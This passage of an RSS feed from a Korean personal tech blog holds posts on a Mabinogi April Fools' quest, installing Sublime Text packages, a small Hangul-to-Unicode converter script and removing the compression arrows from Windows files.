<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>do9dark</title>
    <link>https://do9dark.tistory.com/</link>
    <description>blog.do9.kr</description>
    <language>ko</language>
    <pubDate>Sat, 9 May 2026 19:33:47 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>do9dark</managingEditor>
    <image>
      <title>do9dark</title>
      <url>https://t1.daumcdn.net/cfile/tistory/2365614C5919B3F701</url>
      <link>https://do9dark.tistory.com</link>
    </image>
    <item>
      <title>만우절 퀘스트 - 이것은 퀘스트가 아닙니다</title>
      <link>https://do9dark.tistory.com/345</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;4월 1일 만우절을 맞이해서 생긴 특별 이벤트&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;001.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/M2A1M/btsM32cHntA/1fPW9dkZySWFgz8rkNFuL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/M2A1M/btsM32cHntA/1fPW9dkZySWFgz8rkNFuL1/img.png&quot; data-alt=&quot;울라 대륙 / 티르코네일&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/M2A1M/btsM32cHntA/1fPW9dkZySWFgz8rkNFuL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FM2A1M%2FbtsM32cHntA%2F1fPW9dkZySWFgz8rkNFuL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; data-filename=&quot;001.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;울라 대륙 / 티르코네일&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지도 상에 보이는 티르코네일 지역의 풀밭목장에 이동해보면 이상한 양을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;002.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHmMv7/btsM3T043zD/S7xIm17YrkrtqW67tVb341/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHmMv7/btsM3T043zD/S7xIm17YrkrtqW67tVb341/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHmMv7/btsM3T043zD/S7xIm17YrkrtqW67tVb341/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHmMv7%2FbtsM3T043zD%2FS7xIm17YrkrtqW67tVb341%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; data-filename=&quot;002.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;003.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CsCoi/btsM4Ko5rDI/tI5SfPpYMdHLwTs2T362k0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CsCoi/btsM4Ko5rDI/tI5SfPpYMdHLwTs2T362k0/img.png&quot; data-alt=&quot;이상한 양&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CsCoi/btsM4Ko5rDI/tI5SfPpYMdHLwTs2T362k0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCsCoi%2FbtsM4Ko5rDI%2FtI5SfPpYMdHLwTs2T362k0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; data-filename=&quot;003.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;이상한 양&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이상한 양과 대화를 하다보면 어디론가 사라지는데 근처 나무 아래에 숨어있는 것을 발견할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;004.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PuC57/btsM5Qhxael/xQKsXJ3wehUKbCkxTgwcjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PuC57/btsM5Qhxael/xQKsXJ3wehUKbCkxTgwcjK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PuC57/btsM5Qhxael/xQKsXJ3wehUKbCkxTgwcjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPuC57%2FbtsM5Qhxael%2FxQKsXJ3wehUKbCkxTgwcjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; data-filename=&quot;004.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;005.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oFzhr/btsM4qqyQeN/OfChxKqiF5B0w17bqnpQo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oFzhr/btsM4qqyQeN/OfChxKqiF5B0w17bqnpQo0/img.png&quot; data-alt=&quot;숨어있는 이상한 양&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oFzhr/btsM4qqyQeN/OfChxKqiF5B0w17bqnpQo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoFzhr%2FbtsM4qqyQeN%2FOfChxKqiF5B0w17bqnpQo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; data-filename=&quot;005.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;숨어있는 이상한 양&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 대화를 해보면 만우절을 맞이해서 작은 선물을 하나 주면서 퀘스트를 완료할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;006.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DbbZV/btsM4SNXEQi/mhOFHJXBz7mRakXR2o4fW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DbbZV/btsM4SNXEQi/mhOFHJXBz7mRakXR2o4fW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DbbZV/btsM4SNXEQi/mhOFHJXBz7mRakXR2o4fW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDbbZV%2FbtsM4SNXEQi%2FmhOFHJXBz7mRakXR2o4fW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; data-filename=&quot;006.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;007.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lTSs1/btsM50RX91T/0XHAB2TQY8p3lcpcrDOjXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lTSs1/btsM50RX91T/0XHAB2TQY8p3lcpcrDOjXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lTSs1/btsM50RX91T/0XHAB2TQY8p3lcpcrDOjXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlTSs1%2FbtsM50RX91T%2F0XHAB2TQY8p3lcpcrDOjXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; data-filename=&quot;007.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;008.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcgQRB/btsM3X3Axvv/bh993kT87egej8SEh4JAg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcgQRB/btsM3X3Axvv/bh993kT87egej8SEh4JAg1/img.png&quot; data-alt=&quot;이것은 퀘스트가 아닙니다&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcgQRB/btsM3X3Axvv/bh993kT87egej8SEh4JAg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcgQRB%2FbtsM3X3Axvv%2Fbh993kT87egej8SEh4JAg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; data-filename=&quot;008.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;이것은 퀘스트가 아닙니다&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;009.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCRqHN/btsM3otxij5/46JLkTKD53QZk0llUtAA8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCRqHN/btsM3otxij5/46JLkTKD53QZk0llUtAA8K/img.png&quot; data-alt=&quot;더 멋있어졌다!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCRqHN/btsM3otxij5/46JLkTKD53QZk0llUtAA8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCRqHN%2FbtsM3otxij5%2F46JLkTKD53QZk0llUtAA8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; data-filename=&quot;009.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;더 멋있어졌다!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Wargame/Mabinogi</category>
      <category>Mabinogi</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/345</guid>
      <comments>https://do9dark.tistory.com/345#entry345comment</comments>
      <pubDate>Tue, 1 Apr 2025 23:28:03 +0900</pubDate>
    </item>
    <item>
      <title>Sublime Text</title>
      <link>https://do9dark.tistory.com/342</link>
      <description>&lt;p&gt;- Install Package Control&lt;/p&gt;
&lt;p&gt;&quot;Tools &amp;gt; Command Palette...&quot; 입력창 활성화 후 &quot;Install Package Control&quot; 입력하여 설치&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;command_palette.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;532&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Lhvhr/btq2zepbIDC/fmlhvsdmvvsobQXIMpBtPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Lhvhr/btq2zepbIDC/fmlhvsdmvvsobQXIMpBtPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Lhvhr/btq2zepbIDC/fmlhvsdmvvsobQXIMpBtPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLhvhr%2Fbtq2zepbIDC%2FfmlhvsdmvvsobQXIMpBtPk%2Fimg.png&quot; data-filename=&quot;command_palette.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;532&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;package_control_installed.png&quot; data-origin-width=&quot;392&quot; data-origin-height=&quot;159&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cAmEkm/btq2CIQvPko/0seqdaaIKSfkt0KWRNTj6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cAmEkm/btq2CIQvPko/0seqdaaIKSfkt0KWRNTj6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cAmEkm/btq2CIQvPko/0seqdaaIKSfkt0KWRNTj6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcAmEkm%2Fbtq2CIQvPko%2F0seqdaaIKSfkt0KWRNTj6k%2Fimg.png&quot; data-filename=&quot;package_control_installed.png&quot; data-origin-width=&quot;392&quot; data-origin-height=&quot;159&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;- Install Package&lt;/p&gt;
&lt;p&gt;1. &quot;Goto &amp;gt; Goto Anything...&quot; 입력창 활성화 후 &quot;Install Package&quot; 입력 시 &quot;Package Control: Install Package&quot;를 선택하여 패키지를 설치할 수 있는 입력창 활성화&lt;/p&gt;
&lt;p&gt;2. 설치하려는 패키지를 검색하여 설치&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;goto_anything.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;532&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d9gbhd/btq2wLO4jth/xYBlZjoqSEk5e7VKmzjnKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d9gbhd/btq2wLO4jth/xYBlZjoqSEk5e7VKmzjnKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d9gbhd/btq2wLO4jth/xYBlZjoqSEk5e7VKmzjnKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd9gbhd%2Fbtq2wLO4jth%2FxYBlZjoqSEk5e7VKmzjnKk%2Fimg.png&quot; data-filename=&quot;goto_anything.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;532&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;install_package.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;532&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2ilkU/btq2uWQDNjR/KKeiEkAJWKmpw56C1Q1QlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2ilkU/btq2uWQDNjR/KKeiEkAJWKmpw56C1Q1QlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2ilkU/btq2uWQDNjR/KKeiEkAJWKmpw56C1Q1QlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2ilkU%2Fbtq2uWQDNjR%2FKKeiEkAJWKmpw56C1Q1QlK%2Fimg.png&quot; data-filename=&quot;install_package.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;532&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;sublimecodeintel.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;532&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CqEWz/btq2wL2vm3z/kUokvI4Z2saly7r6r89VXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CqEWz/btq2wL2vm3z/kUokvI4Z2saly7r6r89VXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CqEWz/btq2wL2vm3z/kUokvI4Z2saly7r6r89VXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCqEWz%2Fbtq2wL2vm3z%2FkUokvI4Z2saly7r6r89VXk%2Fimg.png&quot; data-filename=&quot;sublimecodeintel.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;532&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;- SublimeCodeIntel : Full-featured code intelligence and smart autocomplete engine&lt;/p&gt;
&lt;p&gt;- BracketHighlighter : Bracket and tag highlighter for Sublime Text&lt;/p&gt;
&lt;p&gt;- ConvertToUTF8 : A Sublime Text 2 &amp;amp; 3 plugin for editing and saving files encoded in GBK, BIG5, EUC-KR, EUC-JP, Shift_JIS, etc.&lt;/p&gt;
&lt;p&gt;- orgmode : orgmode is for keeping notes, maintaining TODO lists, planning projects, and authoring documents with a fast and effective plain-text system.&lt;/p&gt;
&lt;p&gt;- Smali : A syntax highlighter for the Dalvik bytecode language, Smali&lt;/p&gt;
&lt;p&gt;- Text Marker : Text Marker (Highlighter) highlights words in Sublime Text&lt;/p&gt;
&lt;p&gt;- Theme - Brogrammer : Brogrammer is a flat sexy Sublime Text theme. Pushups not included.&lt;/p&gt;</description>
      <category>Tip</category>
      <category>package</category>
      <category>sublime text</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/342</guid>
      <comments>https://do9dark.tistory.com/342#entry342comment</comments>
      <pubDate>Wed, 14 Apr 2021 16:33:54 +0900</pubDate>
    </item>
    <item>
      <title>한글 &amp;harr; 유니코드 변환</title>
      <link>https://do9dark.tistory.com/340</link>
      <description>&lt;script&gt;
function replaceAll(strTemp, strValue1, strValue2) { 
  while(1) {
    if( strTemp.indexOf(strValue1) != -1 )
      strTemp = strTemp.replace(strValue1, strValue2);
    else
      break;
  }
  return strTemp;
}

function textCopy(obj) {
  obj.select();
  console.log(&quot;test&quot;);
  var copyResult = document.execCommand('copy');
  console.log(copyResult);
}
  
$(document).ready(function() {
  $(&quot;#uni&quot;).keyup(function() {
    $(&quot;#kor&quot;).val(unescape(replaceAll($(&quot;#uni&quot;).val(), &quot;\\&quot;, &quot;%&quot;)));
  });

  $(&quot;#kor&quot;).keyup(function() {
    $(&quot;#uni&quot;).val(replaceAll(escape($(&quot;#kor&quot;).val()), &quot;%&quot;, &quot;\\&quot;));
  });
});
&lt;/script&gt;

한글
&lt;textarea id=&quot;kor&quot; placeholder=&quot;한글 입력하는 곳 ex) 한글&quot; style=&quot;width:100%&quot; rows=&quot;3&quot;&gt;&lt;/textarea&gt;&lt;br&gt;
&lt;br&gt;&lt;br&gt;
유니코드
&lt;input type=&quot;button&quot; value=&quot;Copy to Clipboard&quot; onclick=&quot;textCopy($('#uni'))&quot; style=&quot;
    border-radius: .25em;
    padding: .5em .75em;
    font-size: .6em;
    outline: none;
    border: none;
&quot;&gt;
&lt;textarea id=&quot;uni&quot; placeholder=&quot;유니코드 입력하는 곳 ex) %uD55C%uAE00&quot; style=&quot;width:100%&quot; rows=&quot;3&quot;&gt;&lt;/textarea&gt;&lt;br&gt;
(\uAC00 형태로 입력하더라도 %uAC00으로 변환해서 한글로 보여주기 때문에 &quot;\&quot; 문자는 &quot;%&quot; 문자로 표시되므로 참고)</description>
      <category>Tip</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/340</guid>
      <comments>https://do9dark.tistory.com/340#entry340comment</comments>
      <pubDate>Mon, 24 Aug 2020 14:32:37 +0900</pubDate>
    </item>
    <item>
      <title>윈도우 파일/폴더에 파란색 화살표 표시 제거 방법</title>
      <link>https://do9dark.tistory.com/339</link>
      <description>&lt;p&gt;윈도우를 사용하다보면 아래 그림과 같이 파일과 폴더에 파란색 화살표가 표시된 것을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;파란색 화살표는 윈도우 디스크 공간이 부족한 경우에 윈도우가 디스크 공간을 절약하기 위해서 압축한 표시이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Gi7DU/btqBFwpIcbf/cVpfHgVJ5uszSqseBgPT01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Gi7DU/btqBFwpIcbf/cVpfHgVJ5uszSqseBgPT01/img.png&quot; data-filename=&quot;001.png&quot; data-origin-width=&quot;105&quot; data-origin-height=&quot;116&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Gi7DU/btqBFwpIcbf/cVpfHgVJ5uszSqseBgPT01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGi7DU%2FbtqBFwpIcbf%2FcVpfHgVJ5uszSqseBgPT01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;105&quot; height=&quot;116&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LXnu9/btqBFM6Tah7/aZQpdsKSVo2Gooo3HxQdk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LXnu9/btqBFM6Tah7/aZQpdsKSVo2Gooo3HxQdk1/img.png&quot; data-filename=&quot;002.png&quot; data-origin-width=&quot;105&quot; data-origin-height=&quot;116&quot; style=&quot;width: 49.4186%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LXnu9/btqBFM6Tah7/aZQpdsKSVo2Gooo3HxQdk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLXnu9%2FbtqBFM6Tah7%2FaZQpdsKSVo2Gooo3HxQdk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;105&quot; height=&quot;116&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;파란색 화살표 표시를 제거하는 방법은 해당 파일과 폴더의 속성에서 고급을 선택한 후 압축 또는 암호화 특성에서 &quot;내용을 압축하여 디스크 공간 절약&quot;을 선택 해제하면 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;003.png&quot; data-origin-width=&quot;421&quot; data-origin-height=&quot;580&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgjDwz/btqBGevjtNn/HrNeXhPXu1rpKn4yffqFZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgjDwz/btqBGevjtNn/HrNeXhPXu1rpKn4yffqFZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgjDwz/btqBGevjtNn/HrNeXhPXu1rpKn4yffqFZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgjDwz%2FbtqBGevjtNn%2FHrNeXhPXu1rpKn4yffqFZK%2Fimg.png&quot; data-filename=&quot;003.png&quot; data-origin-width=&quot;421&quot; data-origin-height=&quot;580&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
